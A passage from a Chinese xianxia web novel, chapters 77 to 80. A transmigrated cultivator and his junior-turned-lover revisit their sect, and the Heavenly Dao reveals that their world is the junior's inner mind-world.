“师兄真的以身伺虎了吗。”祁桓面色平静,关注点有些偏。 “没有吗?”许清浔理直气壮地反问。他寻思,他堂堂万法都让你干了,还不算伺虎?连节操都伺没了啊喂。 可恶,有朝一日,老子要跟天道报工伤! 祁桓仿佛想到了什么,点头道:“师兄确实牺牲重大。” 许清浔一听,眼神顿时幽幽,腹诽道,你小子果然也觉得赚到了吧! “毕竟这世上,打着灯笼也找不到师兄这般人。”祁桓定定地看着许清浔,话语之中透着纯粹而真诚的欢喜。 他说话时,身边刚好走过几对牵手同行的少男少女,他们你说我笑,洋溢着青春活力。 与此同时,天上的烟花更加绚烂,在他们的周围投下一片片光彩,亦让那双深黑的眸子泛着水晶般的光华。 许清浔发呆,好似被对方的眼睛看穿了心魂,霎时间好像万箭穿心,身体不由得一颤,头脑也是一片空白。 “但是说真的,你就不怪师兄吗?” “考虑到师兄的重大牺牲——” “你不准提这个!” 许清浔恼怒,怀疑这男人是故意哪壶不开提哪壶。让你干三次咋了?反正累的是你不是我,人家男同都是抢当0的,你倒好了,自己主动当1,哼哼,你小子不知道了吧,这世上只有累坏的牛没有耕坏的田!以后要换师兄还不同意呢,让你小子后悔莫及去吧! “不过话又说回来,方才师兄说到回老家,是许家吗。”祁桓突然开口,语气略微严肃。 虽然许清浔此时的实力已经不惧玄界大部分势力,但许家毕竟是万年世家,底蕴深厚,诸多大能。 许清浔一听便感到了棘手,他应该说出自己的真正来历吗,要是说了,怕是真的离不开这个男人了吧。祁桓绝对会跑去现世找他。 犹豫过后,许清浔低头道:“是,不是许家还能是啥,外人不都喊我许家大少爷吗?我的血统可是要多纯正有纯正。” 祁桓沉默了一下,也不知完全信了没有,最后点了点头,“但回许家,师兄会有很多麻烦吧。” 说到这,许清浔心情顿时转好,调侃道:“是你会有很多麻烦吧?娶我可不是一件简单的事,哦不对,是你入赘!等等,还不对,是你嫁我!” 他一着急又咬了舌头,不得不放下酒杯。 祁桓看着,忽然笑了笑,浅饮一口道:“师兄还是一如既往的冒失。” “冒失?哪有!”许清浔下意识反驳。 祁桓则道:“当时宿醉醒来被许家抓获带走的事,师兄不记得了吗。” 许清浔面色顿变,偏头道:“我这叫不忘初心好吗。” 祁桓轻嗯一声,不再纠结这点,转而道:“所以,师兄要回去吗。” “嗯……我只是随口一说,回许家太麻烦了,暂时还是留在外面吧,不过三玄宗倒是可以回去,不知道你其他的师兄师姐怎么了。”说到这,许清浔若有所思地摸了摸下巴。 他们师门除了他们之外,九界大炼才去了一个李长金,另外四个,符水门是不够实力,他不让去,而两个师妹……估计是刚好那段时间在闭关突破吧,所以也没去,至于另外一位,死宅,没法叫出门,本身也不喜欢打架。 啊等等,这么久过去了,这家伙不会一直没出门吧? 许清浔一愣,忽然间又了紧迫感,抬头对祁桓道:“我们回三玄宗一趟吧。” 祁桓点头,但目光转向了江边,“明日吧,今夜有美景,我想跟师兄再多待一会。” “你……” 许清浔睁大眼睛,恍然间发现,其实这男人搞不好也有浪漫精神,只是之前打打杀杀惯了,自己一直没有发现。 不只是这个,他还没发现的事情……好像还有很多。许清浔一边反思,一边点头道好。 虽然在告白上这男人很不行,但在恋爱上,或许对方更胜过自己。 真是,有时候不思考不行,但有时候,思考反而会限制自己,徒增烦恼。 到底该怎么办呢。 许清浔想了一想,目光望着远边盛放的花火,良久才低声道:“顺其自然吧。” 感情的事勉强不来,快与慢,浓烈与浅薄,都无法为意志左右,才有那句——“情不知所起,一往而深”。 心念一动,许清浔转头看向了身旁的男人。 烟花继续绽放,几乎填满了天空。 良久的沉默,他仿佛发现了,对方是在怀念。 次日,他们离开这座城池,三个时辰后,到达了三玄宗。 三玄宗的景观还是一如既往,但人气比以前火热了一些,山下本来只有一个城镇,不知何时又多了一个,沿河而拓建,风清水秀。 三玄宗的门口也热闹了许多,一些少年围在前,朝气蓬勃,眼里有光。 看着他们,许清浔顿了顿,停在空中若有所思。 祁桓也默默停下。 片刻后他们才离开,到了以前的故居。 九界大炼的事情传开之后,三玄宗备受瞩目,不少人来打探许清浔以及祁桓的消息,尤其是祁桓,许大少爷年纪轻轻便名扬玄界,相比之下,祁桓过于神秘。 不过,他们估计也打探不到什么消息,毕竟三玄宗的人都知道,祁桓日夜跟着许清浔,极少与他人接触,几乎无人知道他的来历。 问符水门,符水门也只能说:“小师弟?他很好一人啊,就是闷骚了些,人不坏,什么,你说他杀穿了九界大炼?” 此时,符水门正目瞪口呆,见鬼似的看着突然回来的两人。 “大、大师兄,还有小师弟?你们居然回来了!” “嘘,不要声张,我们回来的事不要透露出去。”许清浔走上前,心中颇为触动,“好久不见了,六师弟。” “大师兄,你还知道有我这个师弟!”符水门哭着脸说,“小师弟跟着你在九界大炼嘎嘎乱杀,多好啊。” 许清浔哈哈一笑,“说来话长,有时间,咱们慢慢说,对了,一起去老五那里吧,他这七年里是不是一直宅着?” “是啊。”符水门愁眉苦脸,“大师兄临走前让我多照顾五师兄,但五师兄实在孤僻,七年才跟我说了三句话!” 祁桓冷不丁地问:“什么话?” 符水门表情更忧伤了,“哦、哦,还是哦!他是大公鸡吗他?” 许清浔毫不意外,“很正常,对了,你二师兄在吗?” 符水门一顿,道:“他的符纸人在。” 李长金的年纪快到家族着重培养的阶段了,李家当然不允许他在三玄宗浪费时间。 许清浔了然,又问:“你三师姐和四师姐呢?” 符水门叹气,“七年里只回来过一次,很快就走了。” 许清浔一愣,又十分理解,“真是她们的风格,既然如此,我们走吧。” “好!” 随后,他们一起去了老五的洞府。 这个自闭家平日死宅,连洞府口都不靠近,今日却仿佛预料到了一般出现在洞府口,仿佛在等待着他们。 许清浔落地才知,七年不见,自家五师弟的头发都长到要拖地了,本就阴森的气质更加阴森,有种说不出的男鬼气质,虽然比不上阴郁起来的祁桓。 他们一落地,老五便转身走进了洞府。 符水门伸手喊道:“五师兄,你——” 许清浔走前一步,按下符水门的手,“他的意思是到里面再说。” 符水门一脸愕然,心想刚刚五师兄没有说话吧? 他发愣时,许清浔和祁桓已经走进了洞府,他回过神,立刻跟上。 洞府内一应俱全,连采光都完全不输外界。 一处亭台之内,四人相续坐下,桌上摆放着四杯清茶。 老五头发长到看不清脸,但一双血红的眸子格外醒目。 符水门正想着怎么开口,老五突然转头看向许清浔,再看向祁桓,随即语出惊人道:“大师兄和小师弟,成道侣了吗。” 符水门口中的茶差点喷出来,满面的难以置信,“你说啥?” 许清浔同样震惊,他跟祁桓一路上并无亲密接触,这是怎么看出来的? 不过…… 许清浔看向一言不发、面色微僵的祁桓,大方地承认道:“是。” 祁桓眼神变了。 第78章 第七十八章 你个老登 老五平静地点了点头, “嗯,我知道了。” 符水门一脸惊愕,目光在许清浔和祁桓身上转动,一副欲言又止的样子, 然后又恍然大悟, 目光惊异地看着祁桓, 仿佛在说,所以你和大师兄才经常在一起? 祁桓不管他,目光投向老五,“五师兄是如何知道的。” 许清浔也显出了兴趣。 老五平淡道:“一种感觉。” 许清浔略惊, “感觉?”你个死宅居然还有这种技能。 不过, 老五干脆利落, 很快转移了话题, “比起这个,师尊回来过。” 此话一出,许清浔和祁桓还没说什么,符水门先激动了。 “什么, 师尊回来过?我也一直在三玄宗,我为什么不知道?” 老五看了符水门一眼,反问道:“你真的一直在吗。” 符水门一愣,不好意思地挠了挠脸,“的确有一两个月不在,师尊老人家就是那个时候回来的吗?” 老五点头, “对,就是三年前。”说完,他转眸看向许清浔,“大师兄, 师尊说,你若是想找他,可以去几个地方碰碰运气。” 许清浔目瞪口呆,他曾怀疑过,自己的便宜师尊就是天道,这家伙神龙见首不见尾,居然回了三玄宗一趟,不过等等,碰碰运气是什么意思,这家伙搞得自己穿越,结果谜语人也就算了,还玩失踪? 太离谱了吧! “哪几个地方!”许清浔凶狠地问。 老五回忆了下,“狼牙峰、九月池、天地不知处,不过他也有可能都不在。” 许清浔顿时感到无语,但只要找到天道,一切就好说了,说不定还能知道这个世界的秘密,以及自己为何会频繁出现的那个梦。 “行,我都会去找一下。” 祁桓看了许清浔一眼。对于他那位从未见过的师尊,他没有任何说得上印象的印象,只觉得是一位深不可测的人物。 “但那是之后的事吧。” 老五浅饮一杯茶,姿态颇为老成,“现在,我们师兄弟难得齐聚一堂,不该好好叙叙旧吗。” 许清浔一笑,“那倒也是。” 之后,他们四人几乎叙旧了一天一夜,说了许多关于九界大炼的事,还有各种修炼的心得。 符水门大半夜就喝醉了,红着脸说:“我就知道大师兄会是一个惊天动地的大人物!果然吧,年纪轻轻就成了一尊元婴大能!” 许清浔打哈哈,心里想的是,那得多亏穿来的时机,如果不是巧逢灵气复苏,指不定几百岁后才有机会。 祁桓平日很少说话,今日倒是难得话多,主动提出了不少话题。 符水门大醉,脑子糊成一团,甚至还问祁桓,“话说回来啊小师弟,你跟大师兄,谁先告白的?” 祁桓坦然承认,“是我。” 许清浔补充道:“若不是我,他估计现在还闷着不说。” 符水门一听更糊涂了,不过还是津津有味地打探各种消息。 有些问题许清浔一听,几乎要恼羞成怒,但身旁的祁桓却怪有兴致地一一回答。 许清浔看着他们说话,目光幽幽,带着几分郁闷,仿佛觉得自己丢了面子,不过,看在祁桓难得有兴致的份上,今日暂时不追究。 老五到后面就比较安静了,极少主动说话,由于头发都掩盖住了脸,很难看到他到底是什么表情。 最后,他们轻轻碰杯。 “大师兄和小师弟要去找师尊了吗。” “是,倒要看看他究竟是何方神圣!不过老五,上次师尊回来,还有说了什么,做了什么吗。” “没,他一贯背对众生。” “什么玩意?我想到一位故人……” “师兄,什么故人。” “啊,就、就是……算了,不必多提。” 片刻之后,许清浔和祁桓告别了三玄宗。 符水门站在殿门前,还是一副难以置信的表情,“我真的没有做梦吗。” 老五不予置评,“人间之事,本就如梦似幻。”说完转头便走,身影瞬间消失。 符水门回过神,久久不语,好似有所释然,“罢了,关我何事?不过大师兄一回来就送了我那么多法符……真是太好了!”- 不久后,狼牙峰上,许清浔迅速搜寻了一遍,没有发现任何疑似便宜师尊的踪迹,摇头道:“他不在这里,师弟,我们下一个去九月池吧。” “好。”祁桓对行程方面的事几乎不会异议,但他刚说好,眼神不由一变。 许清浔也想到了。 九月池的附近正好是一个人的法府。 祁桓一家的仇人,寻元尊者,元婴后期,实力强大,手段狠辣,心计尤其深重,当年祁桓几乎不可能在他手下逃走,但他偏偏碰上了大bug的灭世魔经,灭世魔经制造出一个跟祁桓几乎完全一致的肉身,让它被寻元尊者亲手杀死,制造了祁桓已经身死的假象。 这些年里,寻元尊者并不知道还有这么一个少年活着,否则早就来斩尽杀绝了。 既然此次路过,不如…… 许清浔见祁桓不语,主动道:“师弟,要师兄帮你吗。” “不。”祁桓身形微抖,深吸了一口气,随即眼神微暗,“我自己来。” “好。”许清浔点了点头,默契地不再说话。他知道,对方应该需要时间调理心情,也知道,这是祁桓必须自己解决的事。 “师兄,”祁桓转身,目光几乎全部倾注在许清浔身上,郑而重之地说道:“我会尽快回到你身边的,你到九月池等我吧。” 许清浔应了一声- 半日后,九月池附近,许清浔独自留在山顶,俯瞰着远方广大的黑土。 那边是寻元老贼的所在之地,祁桓已经过去了,他本欲跟随,但祁桓拒绝,说是……不想让他看到不好的一面。 他想说没事,他至今为止看到的还少吗?但转念一想,又只好答应下来,因为他不想祁桓因为他分心。 “只不过,师弟如今才元婴初期,实力上……应该不会有问题。” 许清浔自言自语,随后转身又搜寻了一遍九月池。别说便宜师尊不在,这片地方跟绝迹一样,几乎没有人迹,动物与灵兽也少之又少。 “天道那家伙,没事来这里做什么?闲着没事干?” 许清浔不觉得他是闲的,毕竟天道的企鹅名还叫“天道酬勤”来着,说不定这片地方是什么特殊地域。 或者说,特殊法场?许清浔眉头一皱,目光低落,好似想要穿透大地,看到最深层、最底层。元婴修士的感知力何其强大,但还是看不见任何端倪,一种可能是根本没有什么,另一种可能是异常藏得太深了。 他收回神识,喃喃道:“罢了,力有不逮,还是到此为止吧。” 方才的探知范围都快从地球表层探知到地幔地心了,再深入下去,只怕会触及传说中的灵源层,一个由符文、灵气以及阵法形成的特殊地域,排斥任何窥探,若是触及它的边界,估计会受到反噬。 到元婴期之后,他的精神念丝虽然强大了数倍,但多少还是谨慎一些吧。 毕竟,祁桓还没有回来。 许清浔眼神微变,再次抬头望向了远方。 那里天地巨变,黑云压城,灵气的流动都彻底紊乱了,局部灵气风暴不断,有的地方整片森林都被风剪碎了。 “开打了。”许清浔低声默念,脑中缓缓地回忆起原著祁桓的复仇。但那算是复仇吗?更像是一个人的自我毁灭,杀了寻元尊者之后,那个男人好像彻底失去了自我的锚点,忘记自我,再也不知自己是谁,毕竟复仇的那股情绪曾是他赖于维持自我的支柱。 而且,是唯一的。 许清浔望着变化莫测的远天,好几次想要过去看对方的情况,但只能握紧拳头,强忍了下来。有时候,他也不知自己和那个男人为何会走到今日,好像并没有特别的波折,也没有太多恨海情天。 他曾经如此讨厌对方,现在却如此为对方着想,恨不得守护在对方身边。 不知不觉间,某些东西好似悄然地种了下来,然后慢慢地生根发芽,到了如今,已经壮大到难以忽视。 但他还是不明白,自己究竟痴于那个男人什么东西。 又或者,不是什么东西,是那个男人的整体?再又或者,是与那个男人度过的时光,押下的成本? 想不明白,又觉得非要想明白的自己……实在钻牛角尖。 情感的事情,非要分清起因经过吗? 想来他表面大大咧咧,其实是个极其注重细节与逻辑的人? 不…… 许清浔想过来,想过去,思绪没有理清,倒是情绪越来越清楚。他喃喃自语道:“我想得这么复杂,或许只是因为我想理清我对他的爱。” 话音未落,他脸色顿时涨红,明明周围没有任何人,他却对着空气嘴硬道:“我才没有说我爱他!” 空气自然无法回答他,因此他说完后,回答他的只有一股清风拂面。 他呆了一会,当即小咳一声,背手而立,明明四周无人看着,他却端得一本正经。 就在这时,一道温润的声音响起,“道友,你这般……是否叫作傲娇?” 许清浔顿时一个激灵,下意识道:“说谁傲娇呢,等等,你是谁?” 那道声音又道:“嗯,或许不该唤你道友。是吧,徒儿。” 许清浔愣住,随即大惊道:“便宜师尊?!” “便宜?”那道声音略显迟疑,好像不明白这是什么意思。 许清浔立刻收敛,半分敬畏半分戒备,“失礼了,敢问,您就是天道?” 对方的回答慢了片刻,简而言之,“是。” 许清浔战术性地深吸了一口气。 好啊,就是你个老登把老子拐来这里的吧! 第79章 第七十九章 摆脱不了的男人 许清浔顿时一阵火大, 而下一瞬,眼前光景变幻如烟,耳边接着听到—— “换个地方说吧。” 啥?! 许清浔回过神,已经端坐在一座亭子之中, 面前有茶有酒, 还有一些糕点, 周围是看不见边界的湖海,天光湛蓝,天与湖海几乎看不清分界线。 再一看,面前清风化形, 显现出了一个似曾相识的青年, 其五官说不上俊美, 但十分耐看, 极具亲和力,身上穿的双鱼道袍古朴而庄严,浑身透着一股岁月悠悠的神秘感。 许清浔努力平复心情,脑子里顿时跳出了一堆想质问的话。 而对方先道:“这些年来, 还好吧。” 许清浔一愣,随即眼神幽幽,“我好不好,你难道不知?” 青年笑了笑,“我自然有所不知,比如, 我没想到他会爱上你,而你……似乎也爱上了他。” 许清浔老脸微红,“少来这套,他目前……只是我的男朋友。” 青年露出微笑, 似乎非常感兴趣的样子,“记得你最初自称讨厌他?” 许清浔一听就火大,脑门上好像中了一记回旋镖,闷声道:“不是自称,是事实!” 青年微微侧首,“那如今是?” 许清浔一时语塞。 “真心讨厌的人,怎会后来又爱上呢,或许当时大家说得没错,你一开始就是爱——” 青年还未说完,许清浔红着脸打断了,“少聊八卦好吗,我跟他谈恋爱又怎么,影响当初的任务了吗?他现在忒听我话,我就算不是完美通关,也是优秀通关吧。” 青年一呆,不禁轻笑了一声,“虽说是没错,但最好不要将恋爱比喻得如此功利,就算你的真心不是这么想的。” 许清浔皱了皱眉,怀疑这家伙在谜语人,他扫了一眼桌上的茶酒,心念微动,随手抓了一杯,“伟大的天道也懂这些人情世故?”说完,他浅浅地尝了一口,本来没有抱有多大期待,但美酒入口后,他的眼睛顿时大亮。 青年一本正经道:“自然懂得,三千大道,怎会无情?有情才是众生。” 许清浔一听,十分认可,“我同意。不过言归正传,该说明一下事情的起承转合了吧。” 青年点了点头,随手一摆,轻唤道:“小原,煮茶。” 许清浔愣住,刚要问谁是小原,下一瞬他身上焕发玄光,原始太虚经居然幻化成了童子的模样,恭恭敬敬地对青年行礼称是,随后当真煮茶送水,好不利索。 看着这一幕,许清浔目瞪口呆。 原始太虚经什么性情他最了解不过,而今居然…… 好吧,谁让那家伙是“天道”。 青年不紧不慢地饮了口茶,“长话短说吧,首先,《醒红尘》的故事是真实;其次,《醒红尘》的作者是我;再次,你是我千挑万选的读者。” 许清浔一愣,相续问道:“真实的?所以我是穿越到了《醒红尘》的过去时间线?你写的《醒红尘》……为了什么?难道是为了选出我?” 青年摇头又点头,“不,《醒红尘》的世界仍然存在。当然,《醒红尘》确实是为了选出你,准确地说,是为了选出一个能够改变他的人。” 许清浔心中一堆困惑,“仍然存在?那现在是什么回事?双重世界?还未改变的世界,与改变了的世界同时存在?改变他?我记得你的目的是挽救世界于将倾,为何要选这么委婉的方法?你是天道,难道就不能直接出手吗?” 他一下子问出了太多问题,语气有些急躁。 青年安静地等他问完,浅饮了一口茶,“并非双重世界,真实的世界只有一个。” 许清浔心头猛然加速,“哪个才是真实?” 青年垂下双眸,“外面的世界才是真实,而里面的世界……实为心象世界,至于是谁的心象世界,你应该心里有数。” 许清浔面色顿白,“是……祁桓的?” 青年微微点头,“是你最讨厌的那个男人的心象世界。” 许清浔愣了神,心中顿时惊涛骇浪。因为这意味着……他至今为止经历的、体验的、看见的,都不过是一片虚幻,甚至包括祁桓! 青年见他面色难看,及时解释道:“你一路走来,所闻所感,都是真实。忘了吗,他最后的境界是生灭境,一念生,一念死,一念众生毁灭,一念乾坤颠倒,他的心象世界跟真实世界并无区别。” 许清浔缓过来,只觉喉咙干渴,饮了一口酒,“是一种相对于绝对真实的……相对真实?” 青年点头,“只要满足条件,相对,亦可成为绝对。” 许清浔眼神顿变,终于明白了对方的打算,“心象世界的祁桓可以影响到真实世界的他,你想利用我改变他的想法,将倾灭的世界抢救回来?” 青年再次点头,“是。为此,我才想方设法找到了你。” 许清浔眉头皱得更紧了,疑惑道:“可是我不明白,这里不是他的心象世界吗,为什么我们能随随便便进入,还有,既然是心象世界,那其他人呢,难道都是幻觉?从头到尾都只有我跟他两个人?” 这个说法简直要骇死人,某个人活得好好的,突然有人说他会在另一个人的心里,除了对方之外,再无别人,谁不得一脸懵。 还好,青年摇了摇头,“不,他们都是真人。只不过……也没有那么真,要看你如何看待何谓真。” 许清浔呆住,“真就是真,还关我如何看待?” 青年认真道:“你认为,真,取决于肉身,还是精神。” 许清浔不由得陷入沉思。对方说的不外乎一个问题,什么才是人的本质,是肉身吗,但这是修真世界,元婴修士肉身毁灭,只剩神魂也能活,因此答案显然是…… “但我不明白,那个祁桓的心象世界中为何会装着几乎整个九界的‘精神’?” 这简直匪夷所思。 然而,青年却看着他的眼睛,反问道:“你当真不明白原因吗。” 许清浔一愣,随后陷入沉默。他或许明白,因为祁桓……本质是一个温柔的男人,就是平日爱闷着,总是喜欢将事情藏在心里。 等等,藏在心里?! 青年仿佛读懂了许清浔的心,道:“是,正如你所想。” 许清浔睁大眼睛,停顿片刻才道:“换句话说,,一切将取决于我……能不能改变他,左右他的想法?” 青年点了点头,面色逐渐严肃,“心象世界的他一定能够影响真实世界的他,后者,你应该见过几次了,还记得吗。” 许清浔面色一沉,缓了缓才道:“见过,而且他好像知道我想改变他。” 青年眼里闪过一丝惊异,又摇了摇头,沉声道:“那是自然。不过,他似乎影响不到这里。” 若是能够影响到这里,势必不会任由他们行事。 至于为何会存在如此大的破绽,答案也很简单。 那个男人内心深处有那么一道念头,想要谁来帮助他脱离泥潭。 青年沉思片刻,郑重地对许清浔道:“抱歉之前没有详说,我不想太干扰你的事,避免不稳定因素。如今,我正式向你请求,请你让他回头吧,趁一切还来得及,趁真实的九界之心还未彻底磨灭。” 许清浔浑身一颤,唇线不由得紧抿。 空气陷入了沉默。 小原站在一旁,左看右看,眼神似乎有些着急。 青年虽然镇定,但眼里隐隐透着一丝紧张。 毕竟,许清浔并未没有拒绝的可能。因为说到底,这个世界与他毫无关系,而出手干预的后果,很可能导致他招惹上一个极其危险、而且这辈子都将摆脱不了的男人。 心象世界的祁桓是温和、好控制,但外面那个毫无疑问是个疯子、变态、病入膏肓的男人。 许清浔若是机敏一些,只稍想一下,便能知道个中风险。 另一方面,即便是祂,也很难断言心象祁桓与真实祁桓之间的确切关系,他们算是一个人,还是两个人? 还有主次,按理说,应该外面的是主,里面的是次,但事实未必…… 见许清浔久久不语,青年不禁再次开口,“你……不愿意吗。” 许清浔目光落在酒杯上,缓缓抬起,与青年对视,突然大笑道:“当然不愿意啊!” 青年一呆,似乎没想到是这个答案。 许清浔脸上露出几分怒色,“第一,老子莫名其妙被拐来几十年一句解释都没有,如今才来说明,我很不满!再者,凭什么我就一定围着那个男人团团转,要看他脸色才能做到什么事?我可是伟大的读者大人啊!拯救世界这种事,不能我自己上吗?既然心象世界也是一种真,为何我不能在这里证道成仙,然后出去痛揍他一顿?” 青年身形微僵,好似完全没想到许清浔会是这个回答,虽然……并不是毫无道理。 等等,在他人心中证道?这也行? 许清浔似乎看出了青年的难以置信,不满地侧过脸道:“你对我完全没有信心吗。” 青年一愣,“倒也不是,只是难度——” “哦,你就是觉得我做不到?”许清浔更加不满。 “也不是。”青年面色略显为难,祂更想说,明明有平坦的捷径,为何选荆棘路?而且,证道成仙艰难无比,土著尚且做不到,你作为外来者哪怕再天赋异禀,才情过人…… 许清浔却摆了摆手,大大方方道:“也罢,不管你信不信,我已经决定了。” 青年看着他,突然仿佛明白了什么,释然一笑,点点头道:“好,一切看你。” “话都这么说了,总得给我一些好东西吧?” “好,没问题,你要什么。” “大道本源一桶!” “……阁下未免太不客气。” “怎么,天道还小气?” “给了,还有吗。” 接下来,许清浔一边问消息,一边打劫……咳,索要报酬。 半个时辰后,青年几乎是落荒而逃,怕是一时半会再不想见许清浔了。 幻境散去,许清浔回到九月池,落在一截悬崖边。 可算是知道真相了,难以置信,却又不得不信。但说实话,他觉得天道说的解决方法有点想当然了。 因为事情的关键在于——祁桓对他的爱,真的足够抵消那些憎恨与绝望吗。若是不够,对方知道一切真相后,怎可能听他的? 许清浔素来乐观,但在这件事上很难贯彻乐观,因为他太清楚原著的祁桓。那是一头早已失去理智的怪物。 在此意义上,搞不好他自己证道成仙更靠谱一些。 “不管怎样,这些事还不能让师弟知道。” 许清浔一脸沉重地低语。 就在这时,他身后突然有一个男人缓缓拥来,侧颈感受到一层温热,明明是极致温柔的动作,却在此时此刻,令他刹时神经紧绷,不由得屏住了呼吸。 偏偏那个男人还贴在他耳边,语气不明地问道:“师兄,什么事不能让我知道。” 第80章 第八十章 师兄跟谁喝了酒 “没、没说什么!” 许清浔吓惨了, 脱口而出,没来得及深思。 身后的男人沉默了一下,气息好似冷了下来,又低声问道:“酒味……又是怎么了, 师兄跟谁喝了酒吗。” 许清浔脑内警钟大响, 自知绝对不能再说谎了, 连忙整理思绪,声音努力压着颤抖,“是刚刚师尊来过了,我跟他聊天, 小喝了一点, 不碍事。” “师尊吗。” 祁桓眼神显出几分疑惑, 他从未见过这个人, 只知道许清浔对“师尊”同样颇为陌生。 “是是。”许清浔佯作平常地走前一步,脱离了祁桓的拥抱,转身道:“你来晚了,他已经走了, 我们聊了一些事,不打紧,所以我觉得没必要跟你说。” 祁桓看着许清浔,沉默片刻,道:“但我关于师兄的事都想知道。” 许清浔刚平复下来的心跳再次不稳,“是吗?哈哈, 挺好挺好,不过比起我和师尊,你怎么样了,寻元老贼死了吗?你没有受伤吧?” 他眼前的男人看上去毫发无伤, 道袍也没有丝毫破损,但毕竟大战了一段时间,对方也不是简单角色。 祁桓目光微暗,摇了摇头,“我没事,只是问他一些事,耽误了时间。” 许清浔一顿,很快知道“一些事”意味着什么,他沉思了一会,轻轻点头,语气温和道:“你没事就好,先歇息一下吧。” “……好。” 祁桓似乎还想问什么,但话到嘴边,又咽了下去。 回到附近法府的路上,许清浔跟祁桓问了复仇的过程。 祁桓回答的十分简单,只说是找到人,然后开杀,最终杀死。 许清浔后面便没有多问,因为他感觉到,祁桓非常疲惫,不是肉身的疲惫,而是精神上的。 “不聊了,咱们快点回家吧。” “嗯。” 不久后,回到法府,祁桓并未打坐调息,而是罕见地上床平躺,像是要睡觉的样子。对他们这个修为的修士来说,睡觉已经几乎没有意义,唯一的好处是暂时停机一段时间,调理心神。 许清浔很支持,走到床前,轻声道:“放松睡一觉吧,我会为你护法。” 祁桓闭上的双眸微微睁开,目光落在许清浔身上,缓缓地应了一声,但又突然开口,“师兄……不会在我睡着的时候离开吧。” 许清浔一愣,反问道:“你觉得师兄会吗?” 祁桓注视着那双浅色的眸子,发自本心地说:“会。” 许清浔挠了挠脸,有些无辜,“你误会师兄了,师兄是那种会抛下你不管的人的话,还要等到今天?” 祁桓盯着他,忽然轻笑一声,“也是。” 许清浔笑道:“放宽心吧,等会儿睡醒第一眼,看到肯定是师兄的脸!” 祁桓沉默了片刻,随后闭上双眸,好似已经开始睡了。 片刻之后,许清浔终于放下心来,告诫自己绝对不能再自言自语了,自家男朋友可能随时看着自己。 他到另一边盘坐下来,刚才受到惊吓,导致他思绪刚整理好又乱了。 首先整理情报,这个世界是祁桓的心象世界,但就目前的情况来说,这个世界比外面那个崩溃的世界更完整、更真实,与真实世界无异。 其次,里面的祁桓跟外面的祁桓……关系尚不明确,似乎外面那个知道了什么,但应该还不知道这是天道的“釜底抽薪”。 另外,他问过天道为何不亲自出手解决问题,天道的回答是力有不逮,祂无法过度干预,否则会加速外面世界的崩塌。 再有,他还问过天道一个更加意味深长的问题,那就是——原本的世界是谁创造的? 天道却陷入了沉默,最后的回答是——祂也不确定。 当时他没想那么多,很快移到下一个问题,但如今一想,似乎不对啊,“不确定”的前提是祂有怀疑的对象,对吧? 原来的创世者一念生出三千世界,后来三千世界崩塌,“主角”祁桓出现,加速崩塌进程,又在快要终结之时,无意间一念复刻出九界,也就是这里。 虽然好像在套娃,但确实是在套娃,这些暂且不论。他后来追问天道,天道还提到一件事,那就是祂希望祁桓能够把心象世界映照到现实,如此一来,就能实现一场“重来”,这是最理想的结果。 然后祂还暗示他引导祁桓去做。 他表面应下,其实心里想的是,祁桓会不会听他的都是一个问题,虽然他们两人好歹谈了这么久的恋爱,但他并非所有时候都能搞懂祁桓的想法。 再者,在还未搞清楚心象祁桓和现实祁桓的关系之前,他最好不要轻举妄动,以免前功尽弃。 而整理完情报后,他的心情非但没有变轻松,还更加沉重了。因为他感觉到自己与祁桓之间的关系平白多了许多利益算计,本就负担很大了,现在甚至说得上雪上加霜。 法符悬空,静静环绕,法府内一片安静,连呼吸声都几乎没有。 真想全部摊牌了,若他只顾自己的感受,估计早就这么做了吧。 偏偏……一方面是对祁桓良心不安,另一方面是对九界众生良心不安,能做的选择自始至终都只有一个。 许清浔沉默不语,眼前仿佛有一座摇摆不定的天秤。 一方面想质问凭什么做这个选择的是自己,另一方面,又庆幸是自己不是别人。 抛开所有的顾虑,他的症结本质上好像只有一个。客观上,无论如何,他也无法像有读心术一样知道对方的所有心思,并预测出对方会采取什么行动。 “真是拧巴啊,别人谈恋爱也会这样纠结吗,像我这么患得患失的估计很少吧。” 他无声地自语,目光望向沉睡的男人。 对方应该已经睡着了,神念都已经进入完全松弛的状态,不过,那张脸还是一如既往的好看,真的百看不厌。 “抱歉,但我之后一定会弥补你的,好吗?到时候你想让我做什么都行,我说真的。” 许清浔一笑,好像终于说服了自己。 “好好休息,等你醒来,师兄带你去明界,看九界最好看的晚霞。” 他早就有这个想法,只是一直没时间。不做点浪漫的时间,怎么算得上恋人? 也作为,我瞒着你这些事的一些补偿。 许清浔眼露柔光,不再思考之后,内心仿佛只剩下关于对方的情感。 自己虽不如对方明白何谓“侣”,但从今日开始,似乎也不迟吧? 法府内彻底安静下来,青衣修士的周身灵气环绕,显现出一张又一张的法符,到了他如今的境界,炼制法符早已无需符纸,只是一念之间的事,其实他在九界大炼时就能做到了,这也是为什么他手里仿佛有取之不尽的法符,无论那些人怎么围攻他,他都屹立不倒。 没有火力解决不了的事,如果有,那就是火力不够。 许清浔沉心炼符,渐渐进入了无我状态,随后法府内法符越来越多,几乎填满了整个空间,这是他的坏习惯,炼起符来一旦上头便难以自制,若是没人阻止他,他就会炼到自己的灵力消耗殆尽,乃至透支,才堪堪停下。 这种修炼法被他成为极限修炼法,他曾得意地向祁桓炫耀,却被对方造反敲了脑袋,说是不要命的修炼法,因为寻常修士若是经常透支精神力,势必会伤及神魂,长久下去不可取,他不满师弟顶撞师兄,自然不会听从,可是祁桓后来居然真的造反,甚至会出手阻止他。 最后,事实证明祁桓是对的。他虽是师兄,但也不得不放下面子老实承认错误,这样修炼下去,神魂上必然会留下巨大的隐患,若是遇到这方面专攻的敌人,势必会出大事。 当时,他本以为自己低头会被嘲笑,可是那个男人却是该死的温柔,居然摸着他的脸说,没事,以后快到极限的时候,他都会提醒他停下。 你小子,以前不知道,但如今真是越来越会说话了。而这或许也是为什么,这些年相处下来,他会越来越离不开对方。 所谓“侣”,似乎是取长补短,互相扶持,因为修行的漫漫长夜,一个人实在走不远。 但可惜的是,这次许清浔无意间炼符过头,能够阻止他的男人却在沉睡。 ……不,并非。 法符的光照亮了整个法府,同时也带来较高的温度。 祁桓忽然睁开双眸,缓缓地坐了起来,目光投向旁边静坐的青衣修士。 他感觉,师兄隐瞒自己的事情越来越多了。不,不是感觉。师兄根本藏不了心思。 到底发生了什么事,就不能跟我说吗?还是说,你觉得我是一个靠不住的男人,不愿意跟我分享你的心事。 “而你的心事,师尊却能知道。” 想到这,祁桓平静的脸色突然变了,双眸亦流露出暴戾之色。 魔经总是低语,蛊惑让他使用“那个手段”,然后师兄就会再也离不开他,但他……怎么可能那么做。 